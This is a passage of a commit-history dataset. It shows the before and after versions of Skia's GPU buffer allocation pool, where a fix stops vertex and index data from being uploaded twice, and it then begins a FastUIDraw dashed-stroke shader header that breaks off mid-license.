true;\n\n fBufferType = bufferType;\n fFrequentResetHint = frequentResetHint;\n fBufferPtr = NULL;\n fMinBlockSize = GrMax(GrBufferAllocPool_MIN_BLOCK_SIZE, blockSize);\n\n fBytesInUse = 0;\n \n fPreallocBuffersInUse = 0;\n fFirstPreallocBuffer = 0;\n for (int i = 0; i < preallocBufferCnt; ++i) {\n GrGeometryBuffer* buffer = this->createBuffer(fMinBlockSize);\n if (NULL != buffer) {\n *fPreallocBuffers.append() = buffer;\n buffer->ref();\n }\n }\n}\n\nGrBufferAllocPool::~GrBufferAllocPool() {\n VALIDATE();\n if (fBlocks.count()) {\n GrGeometryBuffer* buffer = fBlocks.back().fBuffer;\n if (buffer->isLocked()) {\n buffer->unlock();\n }\n }\n while (!fBlocks.empty()) {\n destroyBlock();\n }\n fPreallocBuffers.unrefAll();\n releaseGpuRef();\n}\n\nvoid GrBufferAllocPool::releaseGpuRef() {\n if (fGpuIsReffed) {\n fGpu->unref();\n fGpuIsReffed = false;\n }\n}\n\nvoid GrBufferAllocPool::reset() {\n VALIDATE();\n fBytesInUse = 0;\n if (fBlocks.count()) {\n GrGeometryBuffer* buffer = fBlocks.back().fBuffer;\n if (buffer->isLocked()) {\n buffer->unlock();\n }\n }\n while (!fBlocks.empty()) {\n destroyBlock();\n }\n if (fPreallocBuffers.count()) {\n \/\/ must set this after above loop.\n fFirstPreallocBuffer = (fFirstPreallocBuffer + fPreallocBuffersInUse) %\n fPreallocBuffers.count();\n }\n fCpuData.reset(fGpu->getCaps().fBufferLockSupport ? 0 : fMinBlockSize);\n GrAssert(0 == fPreallocBuffersInUse);\n VALIDATE();\n}\n\nvoid GrBufferAllocPool::unlock() {\n VALIDATE();\n\n if (NULL != fBufferPtr) {\n BufferBlock& block = fBlocks.back();\n if (block.fBuffer->isLocked()) {\n block.fBuffer->unlock();\n } else {\n size_t flushSize = block.fBuffer->sizeInBytes() - block.fBytesFree;\n flushCpuData(fBlocks.back().fBuffer, flushSize);\n }\n fBufferPtr = NULL;\n }\n VALIDATE();\n}\n\n#if GR_DEBUG\nvoid GrBufferAllocPool::validate(bool unusedBlockAllowed) const {\n if (NULL != fBufferPtr) {\n GrAssert(!fBlocks.empty());\n if (fBlocks.back().fBuffer->isLocked()) {\n GrGeometryBuffer* buf = fBlocks.back().fBuffer;\n GrAssert(buf->lockPtr() == fBufferPtr);\n } else {\n GrAssert(fCpuData.get() == fBufferPtr);\n }\n } else {\n GrAssert(fBlocks.empty() || !fBlocks.back().fBuffer->isLocked());\n }\n size_t bytesInUse = 0;\n for (int i = 0; i < fBlocks.count() - 1; ++i) {\n GrAssert(!fBlocks[i].fBuffer->isLocked());\n }\n for (int i = 0; i < fBlocks.count(); ++i) {\n size_t bytes = fBlocks[i].fBuffer->sizeInBytes() - fBlocks[i].fBytesFree; \n bytesInUse += bytes;\n GrAssert(bytes || unusedBlockAllowed);\n }\n \n GrAssert(bytesInUse == fBytesInUse);\n if (unusedBlockAllowed) {\n GrAssert((fBytesInUse && !fBlocks.empty()) ||\n (!fBytesInUse && (fBlocks.count() < 2)));\n } else {\n GrAssert((0 == fBytesInUse) == fBlocks.empty());\n }\n}\n#endif\n\nvoid* GrBufferAllocPool::makeSpace(size_t size,\n size_t alignment,\n const GrGeometryBuffer** buffer,\n size_t* offset) {\n VALIDATE();\n\n GrAssert(NULL != buffer);\n GrAssert(NULL != offset);\n\n if (NULL != fBufferPtr) {\n BufferBlock& back = fBlocks.back();\n size_t usedBytes = back.fBuffer->sizeInBytes() - back.fBytesFree;\n size_t pad = GrSizeAlignUpPad(usedBytes,\n alignment);\n if ((size + pad) <= back.fBytesFree) {\n usedBytes += pad;\n *offset = usedBytes;\n *buffer = back.fBuffer;\n back.fBytesFree -= size + pad;\n fBytesInUse += size;\n return (void*)(reinterpret_cast<intptr_t>(fBufferPtr) + usedBytes);\n }\n }\n\n \/\/ We could honor the space request using by a partial update of the current\n \/\/ VB (if there is room). But we don't currently use draw calls to GL that\n \/\/ allow the driver to know that previously issued draws won't read from\n \/\/ the part of the buffer we update. Also, the GL buffer implementation\n \/\/ may be cheating on the actual buffer size by shrinking the buffer on\n \/\/ updateData() if the amount of data passed is less than the full buffer\n \/\/ size.\n \n if (!createBlock(size)) {\n return NULL;\n }\n GrAssert(NULL != fBufferPtr);\n\n *offset = 0;\n BufferBlock& back = fBlocks.back();\n *buffer = back.fBuffer;\n back.fBytesFree -= size;\n fBytesInUse += size;\n VALIDATE();\n return fBufferPtr;\n}\n\nint GrBufferAllocPool::currentBufferItems(size_t itemSize) const {\n VALIDATE();\n if (NULL != fBufferPtr) {\n const BufferBlock& back = fBlocks.back();\n size_t usedBytes = back.fBuffer->sizeInBytes() - back.fBytesFree;\n size_t pad = GrSizeAlignUpPad(usedBytes, itemSize);\n return (back.fBytesFree - pad) \/ itemSize;\n } else if (fPreallocBuffersInUse < fPreallocBuffers.count()) {\n return fMinBlockSize \/ itemSize;\n }\n return 0;\n}\n\nint GrBufferAllocPool::preallocatedBuffersRemaining() const {\n return fPreallocBuffers.count() - fPreallocBuffersInUse;\n}\n\nint GrBufferAllocPool::preallocatedBufferCount() const {\n return fPreallocBuffers.count();\n}\n\nvoid GrBufferAllocPool::putBack(size_t bytes) {\n VALIDATE();\n\n while (bytes) {\n \/\/ caller shouldnt try to put back more than they've taken\n GrAssert(!fBlocks.empty());\n BufferBlock& block = fBlocks.back();\n size_t bytesUsed = block.fBuffer->sizeInBytes() - block.fBytesFree;\n if (bytes >= bytesUsed) {\n bytes -= bytesUsed;\n fBytesInUse -= bytesUsed;\n \/\/ if we locked a vb to satisfy the make space and we're releasing\n \/\/ beyond it, then unlock it.\n if (block.fBuffer->isLocked()) {\n block.fBuffer->unlock();\n }\n this->destroyBlock();\n } else {\n block.fBytesFree += bytes;\n fBytesInUse -= bytes;\n bytes = 0;\n break;\n }\n }\n VALIDATE();\n}\n\nbool GrBufferAllocPool::createBlock(size_t requestSize) {\n\n size_t size = GrMax(requestSize, fMinBlockSize);\n GrAssert(size >= GrBufferAllocPool_MIN_BLOCK_SIZE);\n\n VALIDATE();\n\n BufferBlock& block = fBlocks.push_back();\n\n if (size == fMinBlockSize &&\n fPreallocBuffersInUse < fPreallocBuffers.count()) {\n\n uint32_t nextBuffer = (fPreallocBuffersInUse + fFirstPreallocBuffer) %\n fPreallocBuffers.count();\n block.fBuffer = fPreallocBuffers[nextBuffer];\n block.fBuffer->ref();\n ++fPreallocBuffersInUse;\n } else {\n block.fBuffer = this->createBuffer(size);\n if (NULL == block.fBuffer) {\n fBlocks.pop_back();\n return false;\n }\n }\n\n block.fBytesFree = size;\n if (NULL != fBufferPtr) {\n GrAssert(fBlocks.count() > 1);\n BufferBlock& prev = fBlocks.fromBack(1);\n if (prev.fBuffer->isLocked()) {\n prev.fBuffer->unlock();\n } else {\n flushCpuData(prev.fBuffer,\n prev.fBuffer->sizeInBytes() - prev.fBytesFree);\n }\n fBufferPtr = NULL;\n }\n\n GrAssert(NULL == fBufferPtr);\n\n if (fGpu->getCaps().fBufferLockSupport &&\n size > GR_GEOM_BUFFER_LOCK_THRESHOLD &&\n (!fFrequentResetHint || requestSize > GR_GEOM_BUFFER_LOCK_THRESHOLD)) {\n fBufferPtr = block.fBuffer->lock();\n }\n\n if (NULL == fBufferPtr) {\n fBufferPtr = fCpuData.reset(size);\n }\n\n VALIDATE(true);\n\n return true;\n}\n\nvoid GrBufferAllocPool::destroyBlock() {\n GrAssert(!fBlocks.empty());\n\n BufferBlock& block = fBlocks.back();\n if (fPreallocBuffersInUse > 0) {\n uint32_t prevPreallocBuffer = (fPreallocBuffersInUse +\n fFirstPreallocBuffer +\n (fPreallocBuffers.count() - 1)) %\n fPreallocBuffers.count();\n if (block.fBuffer == fPreallocBuffers[prevPreallocBuffer]) {\n --fPreallocBuffersInUse;\n }\n }\n GrAssert(!block.fBuffer->isLocked());\n block.fBuffer->unref();\n fBlocks.pop_back();\n fBufferPtr = NULL;\n}\n\nvoid GrBufferAllocPool::flushCpuData(GrGeometryBuffer* buffer,\n size_t flushSize) {\n GrAssert(NULL != buffer);\n GrAssert(!buffer->isLocked());\n GrAssert(fCpuData.get() == fBufferPtr);\n GrAssert(flushSize <= buffer->sizeInBytes());\n\n bool updated = false;\n if (fGpu->getCaps().fBufferLockSupport &&\n flushSize > GR_GEOM_BUFFER_LOCK_THRESHOLD) {\n void* data = buffer->lock();\n if (NULL != data) {\n memcpy(data, fBufferPtr, flushSize);\n buffer->unlock();\n updated = true;\n }\n }\n buffer->updateData(fBufferPtr, flushSize);\n}\n\nGrGeometryBuffer* GrBufferAllocPool::createBuffer(size_t size) {\n if (kIndex_BufferType == fBufferType) {\n return fGpu->createIndexBuffer(size, true);\n } else {\n GrAssert(kVertex_BufferType == fBufferType);\n return fGpu->createVertexBuffer(size, true);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nGrVertexBufferAllocPool::GrVertexBufferAllocPool(GrGpu* gpu,\n bool frequentResetHint,\n size_t bufferSize,\n int preallocBufferCnt)\n: GrBufferAllocPool(gpu,\n kVertex_BufferType,\n frequentResetHint,\n bufferSize,\n preallocBufferCnt) {\n}\n\nvoid* GrVertexBufferAllocPool::makeSpace(GrVertexLayout layout,\n int vertexCount,\n const GrVertexBuffer** buffer,\n int* startVertex) {\n\n GrAssert(vertexCount >= 0);\n GrAssert(NULL != buffer);\n GrAssert(NULL != startVertex);\n\n size_t vSize = GrDrawTarget::VertexSize(layout);\n size_t offset = 0; \/\/ assign to suppress warning\n const GrGeometryBuffer* geomBuffer = NULL; \/\/ assign to suppress warning\n void* ptr = INHERITED::makeSpace(vSize * vertexCount,\n vSize,\n &geomBuffer,\n &offset);\n\n *buffer = (const GrVertexBuffer*) geomBuffer;\n GrAssert(0 == offset % vSize);\n *startVertex = offset \/ vSize;\n return ptr;\n}\n\nbool GrVertexBufferAllocPool::appendVertices(GrVertexLayout layout,\n int vertexCount,\n const void* vertices,\n const GrVertexBuffer** buffer,\n int* startVertex) {\n void* space = makeSpace(layout, vertexCount, buffer, startVertex);\n if (NULL != space) {\n memcpy(space,\n vertices,\n GrDrawTarget::VertexSize(layout) * vertexCount);\n return true;\n } else {\n return false;\n }\n}\n\nint GrVertexBufferAllocPool::preallocatedBufferVertices(GrVertexLayout layout) const {\n return INHERITED::preallocatedBufferSize() \/\n GrDrawTarget::VertexSize(layout);\n}\n\nint GrVertexBufferAllocPool::currentBufferVertices(GrVertexLayout layout) const {\n return currentBufferItems(GrDrawTarget::VertexSize(layout));\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nGrIndexBufferAllocPool::GrIndexBufferAllocPool(GrGpu* gpu,\n bool frequentResetHint,\n size_t bufferSize,\n int preallocBufferCnt)\n: GrBufferAllocPool(gpu,\n kIndex_BufferType,\n frequentResetHint,\n bufferSize,\n preallocBufferCnt) {\n}\n\nvoid* GrIndexBufferAllocPool::makeSpace(int indexCount,\n const GrIndexBuffer** buffer,\n int* startIndex) {\n\n GrAssert(indexCount >= 0);\n GrAssert(NULL != buffer);\n GrAssert(NULL != startIndex);\n\n size_t offset = 0; \/\/ assign to suppress warning\n const GrGeometryBuffer* geomBuffer = NULL; \/\/ assign to suppress warning\n void* ptr = INHERITED::makeSpace(indexCount * sizeof(uint16_t),\n sizeof(uint16_t),\n &geomBuffer,\n &offset);\n\n *buffer = (const GrIndexBuffer*) geomBuffer;\n GrAssert(0 == offset % sizeof(uint16_t));\n *startIndex = offset \/ sizeof(uint16_t);\n return ptr;\n}\n\nbool GrIndexBufferAllocPool::appendIndices(int indexCount,\n const void* indices,\n const GrIndexBuffer** buffer,\n int* startIndex) {\n void* space = makeSpace(indexCount, buffer, startIndex);\n if (NULL != space) {\n memcpy(space, indices, sizeof(uint16_t) * indexCount);\n return true;\n } else {\n return false;\n }\n}\n\nint GrIndexBufferAllocPool::preallocatedBufferIndices() const {\n return INHERITED::preallocatedBufferSize() \/ sizeof(uint16_t);\n}\n\nint GrIndexBufferAllocPool::currentBufferIndices() const {\n return currentBufferItems(sizeof(uint16_t));\n}\n<commit_msg>Don't update vertex\/index buffer twice! <commit_after>\n\/*\n * Copyright 2010 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#include \"GrBufferAllocPool.h\"\n#include \"GrTypes.h\"\n#include \"GrVertexBuffer.h\"\n#include \"GrIndexBuffer.h\"\n#include \"GrGpu.h\"\n\n#if GR_DEBUG\n #define VALIDATE validate\n#else\n static void VALIDATE(bool x = false) {}\n#endif\n\n\/\/ page size\n#define GrBufferAllocPool_MIN_BLOCK_SIZE ((size_t)1 << 12)\n\nGrBufferAllocPool::GrBufferAllocPool(GrGpu* gpu,\n BufferType bufferType,\n bool frequentResetHint,\n size_t blockSize,\n int preallocBufferCnt) :\n fBlocks(GrMax(8, 2*preallocBufferCnt)) {\n\n GrAssert(NULL != gpu);\n fGpu = gpu;\n fGpu->ref();\n fGpuIsReffed = true;\n\n fBufferType = bufferType;\n fFrequentResetHint = frequentResetHint;\n fBufferPtr = NULL;\n fMinBlockSize = GrMax(GrBufferAllocPool_MIN_BLOCK_SIZE, blockSize);\n\n fBytesInUse = 0;\n \n fPreallocBuffersInUse = 0;\n fFirstPreallocBuffer = 0;\n for (int i = 0; i < preallocBufferCnt; ++i) {\n GrGeometryBuffer* buffer = this->createBuffer(fMinBlockSize);\n if (NULL != buffer) {\n *fPreallocBuffers.append() = buffer;\n buffer->ref();\n }\n }\n}\n\nGrBufferAllocPool::~GrBufferAllocPool() {\n VALIDATE();\n if (fBlocks.count()) {\n GrGeometryBuffer* buffer = fBlocks.back().fBuffer;\n if (buffer->isLocked()) {\n buffer->unlock();\n }\n }\n while (!fBlocks.empty()) {\n destroyBlock();\n }\n fPreallocBuffers.unrefAll();\n releaseGpuRef();\n}\n\nvoid GrBufferAllocPool::releaseGpuRef() {\n if (fGpuIsReffed) {\n fGpu->unref();\n fGpuIsReffed = false;\n }\n}\n\nvoid GrBufferAllocPool::reset() {\n VALIDATE();\n fBytesInUse = 0;\n if (fBlocks.count()) {\n GrGeometryBuffer* buffer = fBlocks.back().fBuffer;\n if (buffer->isLocked()) {\n buffer->unlock();\n }\n }\n while (!fBlocks.empty()) {\n destroyBlock();\n }\n if (fPreallocBuffers.count()) {\n \/\/ must set this after above loop.\n fFirstPreallocBuffer = (fFirstPreallocBuffer + fPreallocBuffersInUse) %\n fPreallocBuffers.count();\n }\n fCpuData.reset(fGpu->getCaps().fBufferLockSupport ? 0 : fMinBlockSize);\n GrAssert(0 == fPreallocBuffersInUse);\n VALIDATE();\n}\n\nvoid GrBufferAllocPool::unlock() {\n VALIDATE();\n\n if (NULL != fBufferPtr) {\n BufferBlock& block = fBlocks.back();\n if (block.fBuffer->isLocked()) {\n block.fBuffer->unlock();\n } else {\n size_t flushSize = block.fBuffer->sizeInBytes() - block.fBytesFree;\n flushCpuData(fBlocks.back().fBuffer, flushSize);\n }\n fBufferPtr = NULL;\n }\n VALIDATE();\n}\n\n#if GR_DEBUG\nvoid GrBufferAllocPool::validate(bool unusedBlockAllowed) const {\n if (NULL != fBufferPtr) {\n GrAssert(!fBlocks.empty());\n if (fBlocks.back().fBuffer->isLocked()) {\n GrGeometryBuffer* buf = fBlocks.back().fBuffer;\n GrAssert(buf->lockPtr() == fBufferPtr);\n } else {\n GrAssert(fCpuData.get() == fBufferPtr);\n }\n } else {\n GrAssert(fBlocks.empty() || !fBlocks.back().fBuffer->isLocked());\n }\n size_t bytesInUse = 0;\n for (int i = 0; i < fBlocks.count() - 1; ++i) {\n GrAssert(!fBlocks[i].fBuffer->isLocked());\n }\n for (int i = 0; i < fBlocks.count(); ++i) {\n size_t bytes = fBlocks[i].fBuffer->sizeInBytes() - fBlocks[i].fBytesFree; \n bytesInUse += bytes;\n GrAssert(bytes || unusedBlockAllowed);\n }\n \n GrAssert(bytesInUse == fBytesInUse);\n if (unusedBlockAllowed) {\n GrAssert((fBytesInUse && !fBlocks.empty()) ||\n (!fBytesInUse && (fBlocks.count() < 2)));\n } else {\n GrAssert((0 == fBytesInUse) == fBlocks.empty());\n }\n}\n#endif\n\nvoid* GrBufferAllocPool::makeSpace(size_t size,\n size_t alignment,\n const GrGeometryBuffer** buffer,\n size_t* offset) {\n VALIDATE();\n\n GrAssert(NULL != buffer);\n GrAssert(NULL != offset);\n\n if (NULL != fBufferPtr) {\n BufferBlock& back = fBlocks.back();\n size_t usedBytes = back.fBuffer->sizeInBytes() - back.fBytesFree;\n size_t pad = GrSizeAlignUpPad(usedBytes,\n alignment);\n if ((size + pad) <= back.fBytesFree) {\n usedBytes += pad;\n *offset = usedBytes;\n *buffer = back.fBuffer;\n back.fBytesFree -= size + pad;\n fBytesInUse += size;\n return (void*)(reinterpret_cast<intptr_t>(fBufferPtr) + usedBytes);\n }\n }\n\n \/\/ We could honor the space request using by a partial update of the current\n \/\/ VB (if there is room). But we don't currently use draw calls to GL that\n \/\/ allow the driver to know that previously issued draws won't read from\n \/\/ the part of the buffer we update. Also, the GL buffer implementation\n \/\/ may be cheating on the actual buffer size by shrinking the buffer on\n \/\/ updateData() if the amount of data passed is less than the full buffer\n \/\/ size.\n \n if (!createBlock(size)) {\n return NULL;\n }\n GrAssert(NULL != fBufferPtr);\n\n *offset = 0;\n BufferBlock& back = fBlocks.back();\n *buffer = back.fBuffer;\n back.fBytesFree -= size;\n fBytesInUse += size;\n VALIDATE();\n return fBufferPtr;\n}\n\nint GrBufferAllocPool::currentBufferItems(size_t itemSize) const {\n VALIDATE();\n if (NULL != fBufferPtr) {\n const BufferBlock& back = fBlocks.back();\n size_t usedBytes = back.fBuffer->sizeInBytes() - back.fBytesFree;\n size_t pad = GrSizeAlignUpPad(usedBytes, itemSize);\n return (back.fBytesFree - pad) \/ itemSize;\n } else if (fPreallocBuffersInUse < fPreallocBuffers.count()) {\n return fMinBlockSize \/ itemSize;\n }\n return 0;\n}\n\nint GrBufferAllocPool::preallocatedBuffersRemaining() const {\n return fPreallocBuffers.count() - fPreallocBuffersInUse;\n}\n\nint GrBufferAllocPool::preallocatedBufferCount() const {\n return fPreallocBuffers.count();\n}\n\nvoid GrBufferAllocPool::putBack(size_t bytes) {\n VALIDATE();\n\n while (bytes) {\n \/\/ caller shouldnt try to put back more than they've taken\n GrAssert(!fBlocks.empty());\n BufferBlock& block = fBlocks.back();\n size_t bytesUsed = block.fBuffer->sizeInBytes() - block.fBytesFree;\n if (bytes >= bytesUsed) {\n bytes -= bytesUsed;\n fBytesInUse -= bytesUsed;\n \/\/ if we locked a vb to satisfy the make space and we're releasing\n \/\/ beyond it, then unlock it.\n if (block.fBuffer->isLocked()) {\n block.fBuffer->unlock();\n }\n this->destroyBlock();\n } else {\n block.fBytesFree += bytes;\n fBytesInUse -= bytes;\n bytes = 0;\n break;\n }\n }\n VALIDATE();\n}\n\nbool GrBufferAllocPool::createBlock(size_t requestSize) {\n\n size_t size = GrMax(requestSize, fMinBlockSize);\n GrAssert(size >= GrBufferAllocPool_MIN_BLOCK_SIZE);\n\n VALIDATE();\n\n BufferBlock& block = fBlocks.push_back();\n\n if (size == fMinBlockSize &&\n fPreallocBuffersInUse < fPreallocBuffers.count()) {\n\n uint32_t nextBuffer = (fPreallocBuffersInUse + fFirstPreallocBuffer) %\n fPreallocBuffers.count();\n block.fBuffer = fPreallocBuffers[nextBuffer];\n block.fBuffer->ref();\n ++fPreallocBuffersInUse;\n } else {\n block.fBuffer = this->createBuffer(size);\n if (NULL == block.fBuffer) {\n fBlocks.pop_back();\n return false;\n }\n }\n\n block.fBytesFree = size;\n if (NULL != fBufferPtr) {\n GrAssert(fBlocks.count() > 1);\n BufferBlock& prev = fBlocks.fromBack(1);\n if (prev.fBuffer->isLocked()) {\n prev.fBuffer->unlock();\n } else {\n flushCpuData(prev.fBuffer,\n prev.fBuffer->sizeInBytes() - prev.fBytesFree);\n }\n fBufferPtr = NULL;\n }\n\n GrAssert(NULL == fBufferPtr);\n\n if (fGpu->getCaps().fBufferLockSupport &&\n size > GR_GEOM_BUFFER_LOCK_THRESHOLD &&\n (!fFrequentResetHint || requestSize > GR_GEOM_BUFFER_LOCK_THRESHOLD)) {\n fBufferPtr = block.fBuffer->lock();\n }\n\n if (NULL == fBufferPtr) {\n fBufferPtr = fCpuData.reset(size);\n }\n\n VALIDATE(true);\n\n return true;\n}\n\nvoid GrBufferAllocPool::destroyBlock() {\n GrAssert(!fBlocks.empty());\n\n BufferBlock& block = fBlocks.back();\n if (fPreallocBuffersInUse > 0) {\n uint32_t prevPreallocBuffer = (fPreallocBuffersInUse +\n fFirstPreallocBuffer +\n (fPreallocBuffers.count() - 1)) %\n fPreallocBuffers.count();\n if (block.fBuffer == fPreallocBuffers[prevPreallocBuffer]) {\n --fPreallocBuffersInUse;\n }\n }\n GrAssert(!block.fBuffer->isLocked());\n block.fBuffer->unref();\n fBlocks.pop_back();\n fBufferPtr = NULL;\n}\n\nvoid GrBufferAllocPool::flushCpuData(GrGeometryBuffer* buffer,\n size_t flushSize) {\n GrAssert(NULL != buffer);\n GrAssert(!buffer->isLocked());\n GrAssert(fCpuData.get() == fBufferPtr);\n GrAssert(flushSize <= buffer->sizeInBytes());\n\n if (fGpu->getCaps().fBufferLockSupport &&\n flushSize > GR_GEOM_BUFFER_LOCK_THRESHOLD) {\n void* data = buffer->lock();\n if (NULL != data) {\n memcpy(data, fBufferPtr, flushSize);\n buffer->unlock();\n return;\n }\n }\n buffer->updateData(fBufferPtr, flushSize);\n}\n\nGrGeometryBuffer* GrBufferAllocPool::createBuffer(size_t size) {\n if (kIndex_BufferType == fBufferType) {\n return fGpu->createIndexBuffer(size, true);\n } else {\n GrAssert(kVertex_BufferType == fBufferType);\n return fGpu->createVertexBuffer(size, true);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nGrVertexBufferAllocPool::GrVertexBufferAllocPool(GrGpu* gpu,\n bool frequentResetHint,\n size_t bufferSize,\n int preallocBufferCnt)\n: GrBufferAllocPool(gpu,\n kVertex_BufferType,\n frequentResetHint,\n bufferSize,\n preallocBufferCnt) {\n}\n\nvoid* GrVertexBufferAllocPool::makeSpace(GrVertexLayout layout,\n int vertexCount,\n const GrVertexBuffer** buffer,\n int* startVertex) {\n\n GrAssert(vertexCount >= 0);\n GrAssert(NULL != buffer);\n GrAssert(NULL != startVertex);\n\n size_t vSize = GrDrawTarget::VertexSize(layout);\n size_t offset = 0; \/\/ assign to suppress warning\n const GrGeometryBuffer* geomBuffer = NULL; \/\/ assign to suppress warning\n void* ptr = INHERITED::makeSpace(vSize * vertexCount,\n vSize,\n &geomBuffer,\n &offset);\n\n *buffer = (const GrVertexBuffer*) geomBuffer;\n GrAssert(0 == offset % vSize);\n *startVertex = offset \/ vSize;\n return ptr;\n}\n\nbool GrVertexBufferAllocPool::appendVertices(GrVertexLayout layout,\n int vertexCount,\n const void* vertices,\n const GrVertexBuffer** buffer,\n int* startVertex) {\n void* space = makeSpace(layout, vertexCount, buffer, startVertex);\n if (NULL != space) {\n memcpy(space,\n vertices,\n GrDrawTarget::VertexSize(layout) * vertexCount);\n return true;\n } else {\n return false;\n }\n}\n\nint GrVertexBufferAllocPool::preallocatedBufferVertices(GrVertexLayout layout) const {\n return INHERITED::preallocatedBufferSize() \/\n GrDrawTarget::VertexSize(layout);\n}\n\nint GrVertexBufferAllocPool::currentBufferVertices(GrVertexLayout layout) const {\n return currentBufferItems(GrDrawTarget::VertexSize(layout));\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nGrIndexBufferAllocPool::GrIndexBufferAllocPool(GrGpu* gpu,\n bool frequentResetHint,\n size_t bufferSize,\n int preallocBufferCnt)\n: GrBufferAllocPool(gpu,\n kIndex_BufferType,\n frequentResetHint,\n bufferSize,\n preallocBufferCnt) {\n}\n\nvoid* GrIndexBufferAllocPool::makeSpace(int indexCount,\n const GrIndexBuffer** buffer,\n int* startIndex) {\n\n GrAssert(indexCount >= 0);\n GrAssert(NULL != buffer);\n GrAssert(NULL != startIndex);\n\n size_t offset = 0; \/\/ assign to suppress warning\n const GrGeometryBuffer* geomBuffer = NULL; \/\/ assign to suppress warning\n void* ptr = INHERITED::makeSpace(indexCount * sizeof(uint16_t),\n sizeof(uint16_t),\n &geomBuffer,\n &offset);\n\n *buffer = (const GrIndexBuffer*) geomBuffer;\n GrAssert(0 == offset % sizeof(uint16_t));\n *startIndex = offset \/ sizeof(uint16_t);\n return ptr;\n}\n\nbool GrIndexBufferAllocPool::appendIndices(int indexCount,\n const void* indices,\n const GrIndexBuffer** buffer,\n int* startIndex) {\n void* space = makeSpace(indexCount, buffer, startIndex);\n if (NULL != space) {\n memcpy(space, indices, sizeof(uint16_t) * indexCount);\n return true;\n } else {\n return false;\n }\n}\n\nint GrIndexBufferAllocPool::preallocatedBufferIndices() const {\n return INHERITED::preallocatedBufferSize() \/ sizeof(uint16_t);\n}\n\nint GrIndexBufferAllocPool::currentBufferIndices() const {\n return currentBufferItems(sizeof(uint16_t));\n}\n<|endoftext|>"} {"text":"<commit_before>\/*!\n * \\file painter_dashed_stroke_shader_set.hpp\n * \\brief file painter_dashed_stroke_shader_set.hpp\n *\n * Copyright 2016 by Intel.\n *\n * Contact: kevin.rogovin@intel.com\n *\n * This Source Code Form is subject to the\n * terms of the Mozilla Public License, v. 2.0.\n * If a copy of the MPL was not distributed with\n * this file, You can obtain one at\n * http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * \\author Kevin Rogovin <kevin.rogovin@intel.com>\n *\n *\/\n\n\n#pragma once\n\n#include <fastuidraw\/util\/reference_counted.hpp>\n#include <fastuidraw\/painter\/painter_stroke_shader.hpp>\n#include <fastuidraw\/painter\/painter_enums.hpp>\n\nnamespace fastuidraw\n{\n class PainterItemShaderData;\n\n\/*!\\addtogroup Painter\n @{\n *\/\n\n \/*!\n A DashEvaluator is used by Painter to realize the\n data to send to a PainterPacker for the purpose\n of dashed stroking.\n *\/\n class DashEvaluator:\n public reference_counted<DashEvaluator>::default_base\n {\n public:\n \/*!\n To be implemented by a derived class to give the distance\n to the next dash boundary. Giving a negative value indicates\n that the location passed is not drawn when dashed and giving\n a positive indicates it is.\n \\param data PainterItemShaderData object holding the data to\n be sent to the shader\n \\param distance the distance to use to use to compute the\n return value\n *\/\n virtual\n float\n signed_distance_to_next_dash_boundary(const PainterItemShaderData &data,\n float distance) const;\n };\n\n \/*!\n A PainterDashedStrokeShaderSet holds a collection of\n PainterStrokeShaderSet objects for the purpose of\n dashed stroking. The shaders within a\n PainterDashedStrokeShaderSet are expected to draw\n any caps of dashed stroking from using just the edge\n data. In particular, attributes\/indices for caps are\n NEVER given to a shader within a PainterDashedStrokeShaderSet.\n *\/\n class PainterDashedStrokeShaderSet\n {\n public:\n \/*!\n Ctor\n *\/\n PainterDashedStrokeShaderSet(void);\n\n \/*!\n Copy ctor.\n *\/\n PainterDashedStrokeShaderSet(const PainterDashedStrokeShaderSet &obj);\n\n ~PainterDashedStrokeShaderSet();\n\n \/*!\n Assignment operator.\n *\/\n PainterDashedStrokeShaderSet&\n operator=(const PainterDashedStrokeShaderSet &rhs);\n\n \/*!\n Returns the DashEvaluator object to be used with\n the expected PainterItemShaderData passed to the\n PainterStrokeShader objects of this\n PainterDashedStrokeShaderSet.\n *\/\n const reference_counted_ptr<const DashEvaluator>&\n dash_evaluator(void) const;\n\n \/*!\n Set the value returned by dash_evaluator(void) const.\n Initial value is NULL.\n *\/\n PainterDashedStrokeShaderSet&\n dash_evaluator(const reference_counted_ptr<const DashEvaluator>&);\n\n \/*!\n Shader set for dashed stroking of paths where the stroking\n width is given in same units as the original path.\n The stroking parameters are given by PainterDashedStrokeParams.\n \\param st cap style\n *\/\n const PainterStrokeShader&\n shader(enum PainterEnums::dashed_cap_style st) const;\n\n \/*!\n Set the value returned by dashed_stroke_shader(enum PainterEnums::dashed_cap_style) const.\n \\param st cap style\n \\param sh value to use\n *\/\n PainterDashedStrokeShaderSet&\n shader(enum PainterEnums::dashed_cap_style st, const PainterStrokeShader &sh);\n\n private:\n void *m_d;\n };\n\n\/*! @} *\/\n}\n<commit_msg>fastuidraw\/painter: use DataBase object directly in DashEvaluator<commit_after>\/*!\n * \\file painter_dashed_stroke_shader_set.hpp\n * \\brief file painter_dashed_stroke_shader_set.hpp\n *\n * Copyright 2016 by Intel.\n *\n * Contact: kevin.rogovin@intel.com\n *\n * This Source Code Form is subject to the\n * terms of the Mozilla Public License, v. 2.0.\n * If a copy of the MPL was not distributed with\n * this file, You can obtain one at\n * 